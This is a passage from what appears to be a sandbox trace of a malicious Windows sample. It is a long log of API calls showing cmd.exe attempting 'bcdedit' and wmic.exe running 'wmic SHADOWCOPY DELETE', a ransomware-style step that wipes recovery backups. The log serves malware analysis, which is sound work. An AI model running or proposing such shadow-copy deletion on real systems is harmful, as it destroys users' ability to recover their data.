(HeapHandle=0x9c0000, Flags=0x8, Size=0xb1a) returned 0x9c6c88 [0264.614] FreeEnvironmentStringsA (penv="=") returned 1 [0264.614] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2c60048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.614] GetProcessHeap () returned 0x9c0000 [0264.614] RtlFreeHeap (HeapHandle=0x9c0000, Flags=0x0, BaseAddress=0x9c0ae0) returned 1 [0264.614] ??_V@YAXPAX@Z () returned 0x1 [0264.614] ??_V@YAXPAX@Z () returned 0x1 [0264.615] GetProcessHeap () returned 0x9c0000 [0264.615] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x400e) returned 0x9c8d90 [0264.615] GetProcessHeap () returned 0x9c0000 [0264.615] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x80) returned 0x9c77b0 [0264.615] GetProcessHeap () returned 0x9c0000 [0264.615] RtlFreeHeap (HeapHandle=0x9c0000, Flags=0x0, BaseAddress=0x9c8d90) returned 1 [0264.615] GetConsoleOutputCP () returned 0x1b5 [0264.785] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0264.785] GetUserDefaultLCID () returned 0x409 [0264.785] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xc2f82c, cchData=8 | out: lpLCData=":") returned 2 [0264.785] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x78f7d4, cchData=128 | out: lpLCData="0") returned 2 [0264.785] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x78f7d4, cchData=128 | out: lpLCData="0") returned 2 [0264.785] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x78f7d4, cchData=128 | out: lpLCData="1") returned 2 [0264.785] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xc2f81c, cchData=8 | out: lpLCData="/") returned 2 [0264.785] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xc2f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0264.785] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xc2f778, cchData=32 | out: lpLCData="Tue") returned 4 [0264.785] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xc2f738, cchData=32 | out: lpLCData="Wed") returned 4 [0264.786] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xc2f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0264.786] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xc2f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0264.786] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xc2f678, cchData=32 | out: lpLCData="Sat") returned 4 [0264.786] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xc2f638, cchData=32 | out: lpLCData="Sun") returned 4 [0264.786] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xc2f80c, cchData=8 | out: lpLCData=".") returned 2 [0264.786] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xc2f7f8, cchData=8 | out: lpLCData=",") returned 2 [0264.786] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0264.788] GetProcessHeap () returned 0x9c0000 [0264.788] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x20c) returned 0x9c7880 [0264.788] GetConsoleTitleW (in: lpConsoleTitle=0x9c7880, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.969] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0264.969] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0264.969] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0264.969] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0264.969] ??_V@YAXPAX@Z () returned 0x1 [0264.970] GetProcessHeap () returned 0x9c0000 [0264.970] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x400a) returned 0x9c8d90 [0264.970] GetProcessHeap () returned 0x9c0000 [0264.970] RtlFreeHeap (HeapHandle=0x9c0000, Flags=0x0, BaseAddress=0x9c8d90) returned 1 [0264.971] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0264.971] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0264.971] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0264.971] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0264.971] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0264.971] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0264.971] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0264.971] GetProcessHeap () returned 0x9c0000 [0264.971] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x58) returned 0x9c7a98 [0264.971] GetProcessHeap () returned 0x9c0000 [0264.971] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x18) returned 0x9c7af8 [0264.972] GetProcessHeap () returned 0x9c0000 [0264.972] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x6e) returned 0x9c7b18 [0264.973] GetConsoleTitleW (in: lpConsoleTitle=0x78f6c8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0265.303] malloc (_Size=0xffce) returned 0x2c72650 [0265.304] ??_V@YAXPAX@Z () returned 0x78f454 [0265.304] malloc (_Size=0xffce) returned 0x2c82628 [0265.304] ??_V@YAXPAX@Z () returned 0x78f20c [0265.305] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0265.305] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0265.305] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0265.305] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0265.305] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0265.305] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0265.305] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0265.305] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0265.305] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0265.305] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0265.305] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0265.305] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0265.305] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0265.305] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0265.305] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0265.305] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0265.305] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0265.305] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0265.306] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0265.306] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0265.306] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0265.306] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0265.306] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0265.306] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0265.306] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0265.306] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0265.306] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0265.306] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0265.306] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0265.306] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0265.306] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0265.306] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0265.306] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0265.306] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0265.306] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0265.306] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0265.306] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0265.306] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0265.306] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0265.306] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0265.306] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0265.306] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0265.306] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0265.306] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0265.306] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0265.306] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0265.306] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0265.306] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0265.306] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0265.306] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0265.306] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0265.306] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0265.306] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0265.306] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0265.306] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0265.307] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0265.307] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0265.307] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0265.307] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0265.307] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0265.307] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0265.307] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0265.307] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0265.307] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0265.307] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0265.307] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0265.307] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0265.307] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0265.307] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0265.307] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0265.307] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0265.307] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0265.307] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0265.307] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0265.307] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0265.307] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0265.307] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0265.307] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0265.307] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0265.307] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0265.307] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0265.307] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0265.307] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0265.307] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0265.307] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0265.307] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0265.307] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0265.308] ??_V@YAXPAX@Z () returned 0x1 [0265.308] GetProcessHeap () returned 0x9c0000 [0265.308] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0xffd6) returned 0x9c8d90 [0265.309] GetProcessHeap () returned 0x9c0000 [0265.309] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x7e) returned 0x9c7b90 [0265.309] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0265.309] malloc (_Size=0xffce) returned 0x2c82628 [0265.309] ??_V@YAXPAX@Z () returned 0x78ef8c [0265.309] GetProcessHeap () returned 0x9c0000 [0265.309] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x1ffa4) returned 0x9d8d70 [0265.311] SetErrorMode (uMode=0x0) returned 0x0 [0265.311] SetErrorMode (uMode=0x1) returned 0x0 [0265.311] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x9d8d78, lpFilePart=0x78efac | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x78efac*="Desktop") returned 0x17 [0265.311] SetErrorMode (uMode=0x0) returned 0x1 [0265.311] GetProcessHeap () returned 0x9c0000 [0265.311] RtlReAllocateHeap (Heap=0x9c0000, Flags=0x0, Ptr=0x9d8d70, Size=0x48) returned 0x9d8d70 [0265.311] GetProcessHeap () returned 0x9c0000 [0265.311] RtlSizeHeap (HeapHandle=0x9c0000, Flags=0x0, MemoryPointer=0x9d8d70) returned 0x48 [0265.311] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0265.312] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0265.312] GetProcessHeap () returned 0x9c0000 [0265.312] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x1b4) returned 0x9c7c18 [0265.312] GetProcessHeap () returned 0x9c0000 [0265.312] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x360) returned 0x9c7dd8 [0265.321] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0265.321] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x78ed38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x78ed38) returned 0xffffffff [0265.321] GetLastError () returned 0x2 [0265.321] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0265.321] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x78ed38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x78ed38) returned 0xffffffff [0265.322] GetLastError () returned 0x2 [0265.322] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0265.322] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x78ed38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x78ed38) returned 0xffffffff [0265.322] GetLastError () returned 0x2 [0265.322] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0265.322] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x78ed38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x78ed38) returned 0xffffffff [0265.322] GetLastError () returned 0x2 [0265.322] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0265.323] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x78ed38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x78ed38) returned 0xffffffff [0265.324] GetLastError () returned 0x2 [0265.324] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0265.324] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x78ed38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x78ed38) returned 0xffffffff [0265.327] GetLastError () returned 0x2 [0265.327] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0265.327] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x78ed38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x78ed38) returned 0xffffffff [0265.327] GetLastError () returned 0x2 [0265.327] ??_V@YAXPAX@Z () returned 0x1 [0265.328] _get_osfhandle (_FileHandle=2) returned 0x94 [0265.328] GetFileType (hFile=0x94) returned 0x2 [0265.328] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0265.328] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x78f184 | out: lpMode=0x78f184) returned 1 [0265.974] _get_osfhandle (_FileHandle=2) returned 0x94 [0265.974] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x94, lpConsoleScreenBufferInfo=0x78f1d4 | out: lpConsoleScreenBufferInfo=0x78f1d4) returned 1 [0266.394] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0266.395] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0x78f204 | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0266.395] WriteConsoleW (in: hConsoleOutput=0x94, lpBuffer=0xc3b990*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x78f1b8, lpReserved=0x0 | out: lpBuffer=0xc3b990*, lpNumberOfCharsWritten=0x78f1b8*=0x62) returned 1 [0266.848] ??_V@YAXPAX@Z () returned 0x1 [0266.848] _get_osfhandle (_FileHandle=1) returned 0x90 [0266.848] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0267.099] _get_osfhandle (_FileHandle=1) returned 0x90 [0267.099] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0267.291] _get_osfhandle (_FileHandle=0) returned 0x8c [0267.291] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0267.458] SetConsoleInputExeNameW () returned 0x1 [0267.458] GetConsoleOutputCP () returned 0x1b5 [0267.583] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0267.583] SetThreadUILanguage (LangId=0x0) returned 0x400409 [0268.258] exit (_Code=1) [0268.258] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 132 os_tid = 0xff8 Process: id = "21" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x20134000" os_pid = "0xcb8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "20" os_parent_pid = "0x344" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 113 os_tid = 0x4d8 Thread: id = 116 os_tid = 0x9b4 Thread: id = 123 os_tid = 0xfe8 Thread: id = 128 os_tid = 0x390 Thread: id = 130 os_tid = 0x9c0 Process: id = "22" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x4458000" os_pid = "0xdb4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x868" cmd_line = "wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 134 os_tid = 0xd80 [0267.475] GetModuleHandleA (lpModuleName=0x0) returned 0x160000 [0267.475] __set_app_type (_Type=0x1) [0267.475] __p__fmode () returned 0x77ae3c14 [0267.475] __p__commode () returned 0x77ae49ec [0267.475] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x199af0) returned 0x0 [0267.476] __wgetmainargs (in: _Argc=0x1a81a8, _Argv=0x1a81ac, _Env=0x1a81b0, _DoWildCard=0, _StartInfo=0x1a81bc | out: _Argc=0x1a81a8, _Argv=0x1a81ac, _Env=0x1a81b0) returned 0 [0267.476] ??0CHString@@QAE@XZ () returned 0x1a85ec [0267.476] malloc (_Size=0x18) returned 0x2780ec0 [0267.476] malloc (_Size=0x38) returned 0x2780ee0 [0267.476] malloc (_Size=0x28) returned 0x2780f20 [0267.476] malloc (_Size=0x18) returned 0x2780f50 [0267.476] malloc (_Size=0x24) returned 0x2780f70 [0267.476] malloc (_Size=0x18) returned 0x2780fa0 [0267.476] malloc (_Size=0x18) returned 0x2780fc0 [0267.477] ??0CHString@@QAE@XZ () returned 0x1a88fc [0267.477] malloc (_Size=0x18) returned 0x2780fe0 [0267.477] ?Empty@CHString@@QAEXXZ () returned 0x710965f8 [0267.477] SetConsoleCtrlHandler (HandlerRoutine=0x193cc0, Add=1) returned 1 [0267.477] _onexit (_Func=0x19f370) returned 0x19f370 [0267.477] _onexit (_Func=0x19f380) returned 0x19f380 [0267.477] _onexit (_Func=0x19f390) returned 0x19f390 [0267.477] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0267.477] ResolveDelayLoadedAPI () returned 0x75d32590 [0267.478] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0267.485] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0267.523] CoCreateInstance (in: rclsid=0x166a74*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x166a84*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1a8510 | out: ppv=0x1a8510*=0x24f37b8) returned 0x0 [0268.318] GetCurrentProcess () returned 0xffffffff [0268.319] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x243f7a8 | out: TokenHandle=0x243f7a8*=0x1a0) returned 1 [0268.319] GetTokenInformation (in: TokenHandle=0x1a0, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x243f7a4 | out: TokenInformation=0x0, ReturnLength=0x243f7a4) returned 0 [0268.319] malloc (_Size=0x118) returned 0x2782588 [0268.319] GetTokenInformation (in: TokenHandle=0x1a0, TokenInformationClass=0x3, TokenInformation=0x2782588, TokenInformationLength=0x118, ReturnLength=0x243f7a4 | out: TokenInformation=0x2782588, ReturnLength=0x243f7a4) returned 1 [0268.319] AdjustTokenPrivileges (in: TokenHandle=0x1a0, DisableAllPrivileges=0, NewState=0x2782588*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0268.319] free (_Block=0x2782588) [0268.319] CloseHandle (hObject=0x1a0) returned 1 [0268.319] malloc (_Size=0x40) returned 0x2782588 [0268.319] malloc (_Size=0x40) returned 0x27825d0 [0268.319] malloc (_Size=0x40) returned 0x2782618 [0268.319] SetThreadUILanguage (LangId=0x0) returned 0x23d0409 [0268.586] _vsnwprintf (in: _Buffer=0x2782618, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x243f730 | out: _Buffer="ms_409") returned 6 [0268.586] malloc (_Size=0x20) returned 0x2782660 [0268.587] GetComputerNameW (in: lpBuffer=0x2782660, nSize=0x243f794 | out: lpBuffer="NQDPDE", nSize=0x243f794) returned 1 [0268.587] lstrlenW (lpString="NQDPDE") returned 6 [0268.587] malloc (_Size=0xe) returned 0x2782688 [0268.587] lstrlenW (lpString="NQDPDE") returned 6 [0268.587] ResolveDelayLoadedAPI () returned 0x7468db00 [0268.587] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x243f7a8 | out: lpNameBuffer=0x0, nSize=0x243f7a8) returned 0x23d0000 [0268.588] GetLastError () returned 0xea [0268.588] malloc (_Size=0x1e) returned 0x27826a0 [0268.588] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x27826a0, nSize=0x243f7a8 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x243f7a8) returned 0x1 [0268.588] lstrlenW (lpString="") returned 0 [0268.588] lstrlenW (lpString="NQDPDE") returned 6 [0268.588] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0268.590] lstrlenW (lpString=".") returned 1 [0268.590] lstrlenW (lpString="NQDPDE") returned 6 [0268.590] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2=".", cchCount2=1) returned 3 [0268.590] lstrlenW (lpString="LOCALHOST") returned 9 [0268.590] lstrlenW (lpString="NQDPDE") returned 6 [0268.590] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="LOCALHOST", cchCount2=9) returned 3 [0268.590] lstrlenW 